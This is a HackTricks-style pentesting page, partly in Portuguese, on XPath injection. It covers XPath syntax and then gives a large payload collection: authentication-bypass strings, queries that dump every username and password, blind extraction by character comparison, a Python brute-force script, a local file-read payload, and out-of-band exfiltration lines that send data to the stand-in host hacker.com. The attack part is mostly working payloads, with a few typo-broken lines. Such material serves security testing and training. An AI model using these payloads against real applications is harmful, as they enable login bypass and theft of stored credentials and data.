XPATH injection

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Syntax

Uma técnica de ataque conhecida como XPath Injection é utilizada para tirar proveito de aplicações que formam consultas XPath (XML Path Language) com base na entrada do usuário para consultar ou navegar em documentos XML.

Nodes Described

Expressões são usadas para selecionar vários nós em um documento XML. Essas expressões e suas descrições estão resumidas abaixo:

  • nodename: Todos os nós com o nome "nodename" são selecionados.

  • /: A seleção é feita a partir do nó raiz.

  • //: Nós que correspondem à seleção a partir do nó atual são selecionados, independentemente de sua localização no documento.

  • .: O nó atual é selecionado.

  • ..: O pai do nó atual é selecionado.

  • @: Atributos são selecionados.

XPath Examples

Exemplos de expressões de caminho e seus resultados incluem:

  • bookstore: Todos os nós nomeados "bookstore" são selecionados.

  • /bookstore: O elemento raiz bookstore é selecionado. Nota-se que um caminho absoluto para um elemento é representado por um caminho que começa com uma barra (/).

  • bookstore/book: Todos os elementos book que são filhos de bookstore são selecionados.

  • //book: Todos os elementos book no documento são selecionados, independentemente de sua localização.

  • bookstore//book: Todos os elementos book que são descendentes do elemento bookstore são selecionados, não importando sua posição sob o elemento bookstore.

  • //@lang: Todos os atributos nomeados lang são selecionados.

Utilization of Predicates

Predicados são usados para refinar seleções:

  • /bookstore/book[1]: O primeiro elemento book filho do elemento bookstore é selecionado. Uma solução alternativa para versões do IE de 5 a 9, que indexam o primeiro nó como [0], é definir o SelectionLanguage como XPath através do JavaScript.

  • /bookstore/book[last()]: O último elemento book filho do elemento bookstore é selecionado.

  • /bookstore/book[last()-1]: O penúltimo elemento book filho do elemento bookstore é selecionado.

  • /bookstore/book[position()<3]: Os dois primeiros elementos book filhos do elemento bookstore são selecionados.

  • //title[@lang]: Todos os elementos title com um atributo lang são selecionados.

  • //title[@lang='en']: Todos os elementos title com um valor de atributo "lang" igual a "en" são selecionados.

  • /bookstore/book[price>35.00]: Todos os elementos book da bookstore com um preço maior que 35.00 são selecionados.

  • /bookstore/book[price>35.00]/title: Todos os elementos title dos elementos book da bookstore com um preço maior que 35.00 são selecionados.

Handling of Unknown Nodes

Curingas são empregados para corresponder a nós desconhecidos:

  • *: Corresponde a qualquer nó de elemento.

  • @*: Corresponde a qualquer nó de atributo.

  • node(): Corresponde a qualquer nó de qualquer tipo.

Mais exemplos incluem:

  • /bookstore/*: Seleciona todos os nós de elemento filho do elemento bookstore.

  • //*: Seleciona todos os elementos no documento.

  • //title[@*]: Seleciona todos os elementos title com pelo menos um atributo de qualquer tipo.

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Acesse as informações

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identificar e roubar o esquema

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Bypass de Autenticação

Exemplo de consultas:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OU bypass em usuário e senha (mesmo valor em ambos)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Abusando da injeção nula

Username: ' or 1]%00

Double OR no Nome de Usuário ou na Senha (é válido com apenas 1 campo vulnerável)

IMPORTANTE: Note que o "and" é a primeira operação realizada.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extração de strings

A saída contém strings e o usuário pode manipular os valores para pesquisar:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Exploração Cega

Obter o comprimento de um valor e extraí-lo por comparações:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Exemplo em Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Ler arquivo

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Exploração OOB

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Ferramenta automática

Referências

Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Insights de Hacking Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking

Notícias de Hack em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios Fique informado sobre as novas recompensas de bugs lançadas e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Suporte ao HackTricks

Last updated